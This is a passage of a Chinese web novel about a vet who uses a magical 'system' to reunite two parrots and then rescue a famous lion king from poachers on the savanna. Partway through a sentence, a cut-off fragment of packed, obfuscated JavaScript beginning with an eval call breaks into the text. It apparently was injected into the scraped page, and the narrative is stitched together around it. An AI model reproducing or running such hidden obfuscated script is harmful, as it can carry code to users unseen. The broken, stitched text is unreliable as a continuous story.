几分钟后，温礼提着鸟类和鸟粮离开。 身后的房门啪嗒合上，他转头看了一眼，心情复杂。 手中的笼子安安静静，正如温礼在共鸣时所感受到的那样，这只精神受创的小鸟正在期待一场久违的重逢，而这一次的未来，将如它所愿。 - 诊所。 “啾。” 房门被推开，笼子里的蓝白鹦鹉恹恹地看了一眼，出于对新饲主的尊重，它轻轻叫了一声。 门口的人类没有说话，它却得到了一个意料之外的回应。 “啾？” 细小而微弱的鸣叫声，自人类手中被黑布笼罩的物件里传来。 熟悉的声音……它愣了一下，随后脖颈处羽毛微微炸开。 而自从走进房间的那一刻起，温礼手里的笼子就开始震动起来，他还没来得及安抚，房间里的小鸟也陡然激动起来，扑腾着来到了笼门附近，脚爪挂在金属条上，叽叽叽地叫唤起来。 “啾啾！” “啾！” 两只鹦鹉就这样隔笼呼唤，哪怕没有看到对方，也依旧一遍比一遍大声地叫唤，活像是一对被残忍分离的小情侣。 好的，这下可以完全确定了。 温礼扶额，没想到自己两次救助的鹦鹉竟然真的有关联。 这未免也太巧了。 他走进房间，将手里的笼子放在柜子上，然后小心掀开了上层的黑布。 映入眼帘的，是和隔壁仿佛照镜子似的一幕——绿白色的鹦鹉同样挂在笼子上，尖尖的短喙从笼子的缝隙探出，像是个上足马力的小玩具。而当光线照进笼子里，亲眼看见隔壁的同伴时，它变得更加激动了，扑腾着翅膀撞笼子，俨然一幕想直接钻出去的模样。 “好啦好啦，冷静点！” “别急，马上就让你们团聚……” 温礼努力稳住震动的鸟笼，谨慎地将两个笼子的入口空间站似的对接，确定不会压到它们之后，捏住两个笼门同时往上一抬—— “啾！” 几乎就在下一秒，两只鹦鹉都从这个入口朝彼此扑去。 其实在这之前，温礼还有过一丝丝的担忧，毕竟后来的这只绿白虎皮已经有明显的抑郁表现，不仅见人时脾气暴躁，身上的羽毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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温礼同意了。 他还补了一句：“明天需要我帮忙吗？” 老板那边的声音有些嘈杂：“可以吗？那谢谢你啦，要是明天五点半前我抓不住它就麻烦你来这边一趟了。” 挂断电话，在明天的日程表上填上这一项，温礼估计明天需要在下午五点前完成系统的救助任务。 对了，说到这个…… “系统，救助任务真的是随机的吗？”温礼终于忍不住发出灵魂质疑，“这次的任务未免也太巧了吧，不仅救助目标和诊所的小鸟有关系，还恰好是在我和前主人沟通未果后弹出来的……” 无论时机还是对象，都恰好卡在关键点上。 【是随机的，宿主。】 系统认真解释。 【随机出现这样的巧合也是有可能的，毕竟，无论是再微小的可能，在奇迹因子的作用下也会发生。】 【这段时间您始终记挂着诊所内的鹦鹉，那么自然而然，您就有可能抓住这一系列的巧合。】 “嗯……” 温礼陷入沉思。 他倒是一直记得系统把他称为行走的“奇迹因子”的说法，但他依旧觉得事到如今的所有发展都是依靠他的努力所争取的，要是他想什么就出现什么的话，未免也太奇怪了吧？ 完全超现实了啊——呃，虽然现在的系统和传送也没见得多现实，但这份特殊放在他自己身上就有点奇怪了！ “我还是不信。”他说，目光瞥到桌上正在播放的狮群纪录片，随口开玩笑，“我也很记挂疑似被悬赏的狮王艾伦啊，难不成下次任务就轮到我飞到草原上拯救它了？” …… …… 16小时后，温礼站在空旷的非洲大草原上。 风把他身上的衬衫吹得哗啦啦响动，也把他前一天的质疑吹得七零八落。 温礼：…… 不是，系统你来真的啊？ 18.狮王 温礼没想到都这个年代了，真的会有人为了悬赏而盗猎大草原上的狮王。 十分钟以前，他还在诊所里看纪录片下饭，结果进度条还没有走多远，系统便提醒出现了紧急救助任务。 温礼匆匆忙忙进入共鸣视角，再一睁眼就看到了方才还只存在于屏幕里的大草原。 “……” 他内心涌现出不祥的预感。 果不其然，共鸣视角的主人公，正是昨天还被他拿来和系统开玩笑的狮王艾伦。 温礼早已经通过纪录片了解到了艾伦的前半生—— 艾伦是一只先天瘦弱的小狮子，出生时就连路都走不稳当。 这样的体质如果换做普通母狮或许会将它放弃，但好在它的母亲是初次孕育，充满母爱，再加上只孕育了两胎，所以并不会偏心，因此哪怕瘦弱的艾伦也拥有一个比较安稳的童年。 但很快，在一次狩猎时母狮被鬣狗群杀死，艾伦失去了庇护它的长辈，瘦弱又孤身的它很快沦为了族群内青少年狮子的玩具。 被当做猎物戏耍，被扔进水里，被大部队抛下。 艾伦独自熬过这一波波的折磨，终于在力竭前被一只丧崽的雌狮接纳，两只族群内的边缘狮就这样互相帮扶着成长。 长大后，艾伦总算不再瘦弱，或许是幼年的经历为它铸就了足够坚韧勇敢的内心，再搭配上它不断的学习和努力，它在成年后没多久就成为了新一任的狮王。 狮王艾伦是一只罕见的会对幼崽温柔的雄狮，捕猎后它总会将食物第一时间分享给雌狮和幼崽，也会参与和幼崽的互动玩耍，撞见狮群内的欺凌行为，它甚至会出手制止。 [世界以痛吻我，我却报之以歌。] 这是纪录片对艾伦这一行为的注解。 旁白这样人性化地解读这位年轻狮王的心路，认为艾伦的宽厚性格源自它幼时的遭遇，在人们看来简直有些不可思议，打破了他们对于雄狮的刻板认知。 纪录片镜头的最后，艾伦在草原上威风凛凛地奔跑着，茂密的鬓毛在风中飞舞，根根分明闪着金光，过往的阴霾被它远远抛在身后。 拍摄者以这样一个金光闪闪的日出镜头作为收尾，代表着他们对这只命运多舛却勇敢坚强的狮子的美好祝愿。 所有人都觉得，艾伦接下来的日子会是璀璨的。 一般情况下，狮群的狮王可以统治狮群2-3年，最长的甚至能达到6年，而艾伦是一位新上任的年轻狮王，哪怕纪录片制作完并发表，它也才统治狮群一年半左右，正值壮年的它未来再怎么样落魄也不可能比幼年时期更加狼狈了。 …… 真的吗？ 通过共鸣，温礼看到了令他气血上涌的某种未来。 深夜，随着几声枪响，本来在巡视领地的艾伦浑身一麻，还来不及警戒和防备，身体的力气便飞快丧失，它往前踉跄地走了几步，努力对抗，可还是在下一秒支撑不住。 嘭。 尘土飞扬，年轻的狮王就此倒下。 没过多久，几个全副武装包裹严实的人类开着车来到了这里。 他们带走了艾伦。 悬赏艾伦的富豪欣赏它在纪录片里所展现的故事和生命力，这样的富豪向来做什么都是随心所欲，所以便因为喜爱打算圈养它。 可愤怒又不屈的艾伦当然不可能愿意，在一次会面时差一点伤到富豪。 富豪找专业的驯兽师来驯养，没想到艾伦却因此受伤，可即便这样，它依旧保持愤怒，在囚笼里日日夜夜地咆哮，午夜时的兽瞳凶狠发光，像是想从人类身上硬生生撕下肉来。 它开始变得消瘦，毛发失去光泽，骨头在皮下分明地凸起，可依旧没能被驯服。 彻底失去耐心的富豪最后决定及时止损，把艾伦做成了标本。 在大草原上意气风发的狮王没有死在和新生挑战者的对决中，没有死在鬣狗群的围猎中，没有死在脱离族群的孤独中，却毫无还手之力地死在了人类的手术台上，死后被扒下皮毛，失去神韵的头颅高高悬挂在人类的豪宅里。 这对于一只狮王来说，简直是最屈辱的死法。 “……” 温礼睁开眼。 面前是熟悉的诊所，桌上的平板正放着大草原的纪录片，刚打开没多久的外卖摆在桌上还冒着热气，但他现在是一口也吃不下了。 纯被气的。 “怎么能这样……” 看着纪录片里那只鲜活神气的狮王，脑内却闪过共鸣时艾伦在玻璃倒影中看见自己落魄的倒影，这样强烈的落差让温礼忍不住喃喃，心里像是烧了一团火。 反复深呼气，勉强压下心中激荡的情绪，温礼知道现在不是他愤怒讨伐罪魁祸首的时候，既然收到了这个紧急求救信号，就必须先确保他能够救下目标。 “系统，这次的救助目标是一只狮王……对，的确就是昨天我们聊天中提到的，那位年轻的明星狮王。”他的声音有些低沉，“在我所看见的未来中，它在午夜外出时被盗猎者盯上，迷晕，然后被运往欧洲富豪所在之处，遭遇驯化未果后被杀死。” 这次的情况，和之前的都大为不同。 在艾伦的悲剧中，人为制造的威胁是始终存在的，这也就意味着温礼不可能像救助其他动物那样只和动物往来，还需要直面那些心怀不轨甚至可能持枪的盗猎者。 但即便这样，目睹过那样未来的温礼也不可能退缩。 “我应该怎么做？” 系统显然也能够分析出这样的风险，因此语气也变得严肃中带有一点安抚意味。 【好的宿主。当前的救助任务具有较大的风险，需要提前做好各项准备，但请不要担心，遇到危险时系统会尽可能保证宿主的安全，传送功能会始终开启，由系统暂时托管。】 有了这个保证，温礼也没了顾虑。 就算对面有枪，他也可以依靠系统的传送功能及时避开，唯一的问题就是传回来时随机200米的范围让他很可能会从另一个地方出现……但这没关系，只要最后能成功找到艾伦并带走它就好。 绝对不能让它落在富豪手里。 - 虽然预知到了未来，但温礼其实并不知道究竟已经发展到了哪一步，所以当他被传送到大草原上时，还是有点懵的。 草原的风吹得他浑身一激灵，只是随意地一扫，就从附近的草丛里看到了不少发着光的眼睛。 它们谨慎而好奇地打量着这个陌生的来者。 或许是因为青年较为高挑的身形，再加上没怎么见过人类，没有动物贸然出现在他面前，不过眼下温礼也不是很关注这点，他站在原地焦急地眺望，想看看附近有没有一头沉睡的狮子。 传送定位在草原，这意味着艾伦至少还没被送往欧洲，这是一个好消息。 不过温礼依然不能确定，艾伦究竟是才被麻醉，还是已经被那些盗猎者运上车了。 大草原看起来平坦一览无余，但足足两百米的范围，再加上昏暗的天色，完全无法确定附近是否存在救助目标。 “……” 思考片刻后，温礼想出了检验方法。 他告诉系统接下来每半分钟就进行一次传送，如果每次传送的范围大差不差，就能确保艾伦待在原地没动，但如果范围逐渐变化，就意味着艾伦已经被装上车了。 传送开始。 第一次的视野里有几个挨在一起的小坡； 第二次的视野里有水池和正喝水的羚羊； 第三次的视野里有一头正在睡觉的猎豹…… 不小心把那只猎豹惊醒的温礼有点尴尬，连忙让系统再次传送。 他已经可以确定艾伦被盗猎者们运上车了，这次的传送也只是想距离他们更近，却没想到这次的传送落在了一个意想不到的地方—— 狮群中央。 温礼：…… 几乎和落地惊醒猎豹的情形一样，他的脚才刚落在地上，周围就唰唰唰亮起了七八盏莹莹的灯泡，从睡梦中惊醒的狮子们猛地起身，出于警惕，静静注视着这个陌生的不速之客。 像这样闯入狮群，简直算是一种挑衅了。 “嗷。” 雌狮们发出不满的声音，它们正准备开团干架，却忽然发现一件事—— 不对，它们的首领呢？ 作为狮群中最强大的首领，狮王的首要责任就是抵御外敌入侵，有些狮王甚至为此可以不参与狩猎就可以率先分得食物，虽然它们的现任狮王也会参与狩猎，在各个方面都表现良好，但显然当下才是它最应该发挥作用的地方。 所以狮呢？？ 难道已经被这个入侵者打败了？？ 不知为何，温礼感觉这群狮子的情绪好像愈发激动了，他强装镇定，在脑内疯狂催促系统再次传送。 咻的一下，原本处于狮群包围圈的青年消失在原地。 …… 传送走的温礼并不知道，在他消失之后，狮群并没有因此沉寂下去，相反的，在达成了某种共识之后，狮群原本所在之处只留下了几只雌狮和幼崽，而其他年轻力壮的狮子们则循着风中的气味，朝着某个方向前进。 ——而这个方向，正是他下一次传送的落脚点。 - 经历几次惊险的传送后，温礼终于找到了正在运输艾伦的车子。 这辆车是开放的驾驶室，因此他可以看见车里一共坐了三个人，如果他没有看错 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还没到真正的分赃环节这三人就有一股浓浓的火药味，但大概是顾忌着事情还没成，他们话都没说太死。 但忽然—— “噗嘶。” “啪嗒，啪嗒。” 微不可查的气声从车辆的轮胎底下传来，随后车辆开始颠簸，行驶不受控制，最后滑行了一段距离后猛地停下。 三人被迫下车检查，发现前两个轮胎莫名泄气，一看轮胎上长长的痕迹，简直像是被什么专门拦车的钉子扎过。 猎人和医生开始抱怨向导的开车技术，并且指责对方开车竟然不看路。 向导没回话，只是皱着眉头打量着轮胎。 他们本地人可从来不会在草原上设置这样的钉子……可如果是普通的石头，真的能尖锐到扎穿轮胎吗？ 他感觉到了一股莫名的不安，没有回话，只是蹲在车前，叫另外两人去后车拿备用轮胎换上。 医生先去了，他说自己可以顺便看眼狮子的情况，避免麻醉太久出事。 五分钟过去了，医生没有回来。 猎人暴躁地骂了一声，说医生就是磨蹭，然后自己往后车的方向走。 五分钟过去了，猎人没有回来。 “……” 向导蹲在车前一动不动，背后却已经渗出了密密麻麻的冷汗。 他所在的部落是有着对自然的信仰的，尤其是对于狮子。部落人认为狮子是神明的宠儿，与其他在成年礼上会专门狩猎狮子的部落不同，他们只会尽可能与狮子结缘，瞻仰他们狩猎的英姿，单方面取名“认领”一只狮子，建立链接。 或许也正是因为这样，他们对草原上的狮群更为了解，在那群人拍摄纪录片时出了一份力。 可他没有这份信仰。 他更在乎钱，他需要一笔不菲的钱让他离开这个落后的地方，因此他充当了猎人们的向导，将他们引入草原，带他们寻找那名狮王艾伦。 一切都很顺利。 开车时，他忍不住想那些信仰果然是假的，他马上就可以离开这个愚昧的地方——可现在车忽然停了！另外两个人也**的出问题了！ 向导感觉自己的心跳得很快。 可他知道自己不能蹲在这干等下去，哪怕心中涌现了一股名为“敬畏”的恐惧，他还是强迫自己捏着枪，佯装不耐烦地站起身朝车厢走去。 微微敞开的车厢内，躺着两个昏迷的男人，而笼子里的那只象征财富的华美野兽，此时却已经消失得无影无踪。 向导一惊，他猛地推开车门。 笼子的锁依旧是紧闭着，笼上的每一根金属条都保持着原样，可这怎么可能？那样的庞然大物怎么可能就这么消失？？ 这样诡异的一幕，难道真的…… 向导用力摇了摇头，他现在已经没有回头路可以走了，正想要叫醒车厢里的两个人问清楚情况，却忽然听见身后传来一阵阵的吼声。 转头，一只又一只瞳孔发亮的狮子从草丛里钻出，缓缓向这辆车走来。 “……？！” 他几乎要失去理智，本能地拿起腰上的猎枪想要射击，可不知道为什么，手里的枪却莫名其妙卡壳，咔咔好几声也开不出来一枪，而没有枪的人类在狮群面前根本毫无还手之力。 眼看狮群离他越来越近，向导立刻锁住了车厢，听着车厢上一声又一声的敲击声，他崩溃了。 求生的欲望压过了其他，他也不在乎暴露自己联合外人盗猎的行为了，颤抖着拨通了族人的电话。 救命，救命啊——！